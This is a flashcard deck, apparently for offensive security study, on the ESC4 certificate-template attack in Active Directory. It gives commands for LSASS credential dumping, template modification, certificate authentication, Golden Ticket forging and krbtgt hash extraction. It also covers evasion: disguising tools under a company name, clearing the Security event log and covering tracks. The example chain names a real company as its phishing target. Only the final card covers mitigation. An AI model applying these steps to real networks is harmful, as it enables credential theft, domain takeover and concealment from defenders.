ESC4 Flashcards

1
Q

HandleKatz

A

Stealthy LSASS credential dumper using handle duplication.

Command: HandleKatz.exe –pid [LSASS_PID] –dumpname C:\lsass.dmp

Use Case: Dump credentials without triggering OpenProcess detection.

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
2
Q

SharpKatz

A

C# tool for credential dumping and Kerberos attacks (Mimikatz alternative).

Commands:

SharpKatz.exe –Command logonpasswords

SharpKatz.exe –Command golden –User fakeadmin …

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
3
Q

Certify

A

Enumerates/modifies AD CS templates and requests certificates.

Commands:

Certify.exe find /vulnerable (Find ESC4 templates)

Certify.exe modify /template:HelpdeskTemplate /altname:admin@domain.com

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
4
Q

Certipy

A

Python-based tool for AD CS exploitation.

Commands:

certipy req … (Request certificate)

certipy auth -pfx admin.pfx (Authenticate with certificate)

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
5
Q

Impacket

A

Python framework for network attacks.

Tools:

secretsdump.py (Dump hashes with Kerberos tickets)

ticketer.py (Generate Golden Tickets)

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
6
Q

Credential Dumping (Stealthy)

A

Method: Use HandleKatz or rundll32 comsvcs.dll to dump LSASS.

Detection Evasion: Avoid direct LSASS handles; parse dumps offline with pypykatz.

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
7
Q

Template Modification (ESC4)

A

Steps:

Find templates with WriteDacl using Certify or BloodHound.

Modify EKU/SAN settings to allow privilege escalation.

Command: Certify.exe modify /template:…

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
8
Q

Certificate Authentication

A

Process: Use certipy auth or SharpKatz to request a TGT with a certificate.

Result: Authenticate as DA without password.

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
9
Q

Golden Ticket Persistence

A

Tools: SharpKatz or ticketer.py.

Key: Requires krbtgt hash (extracted via secretsdump.py).

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
10
Q

ESC4 Exploit Chain (Assume Breach)

A

Initial Access: Phish a low-privileged user (e.g., jdoe@walgreens.com).

Credential Dumping: Use HandleKatz to extract credentials from LSASS.

Recon: Enumerate AD CS servers/templates with Certify.exe find /vulnerable.

Modify Template: Alter HelpdeskTemplate to enable SAN + Client Auth.

Enroll Certificate: Request cert with certipy req or Certify.exe request.

Authenticate: Use certipy auth to get a TGT as administrator.

Dump Hashes: secretsdump.py -k -no-pass to extract krbtgt hash.

Golden Ticket: Create persistence with ticketer.py or SharpKatz.

Cover Tracks: Revert template changes and clear logs.

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
11
Q

Evading Detection

A

Use certreq.exe (native) instead of Certify for enrollment.

Rename tools (e.g., SharpKatz.exe → WalgreenUpdater.exe).

Clear logs: wevtutil cl Security.

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
12
Q

Mitigating ESC4

A

Restrict Permissions: Remove WriteDacl on templates.

Monitor: Alert on Event ID 5136 (AD object modifications).

Harden Templates: Disable Client Authentication EKU where unnecessary.

How well did you know this?
1
Not at all
2
3
4
5
Perfectly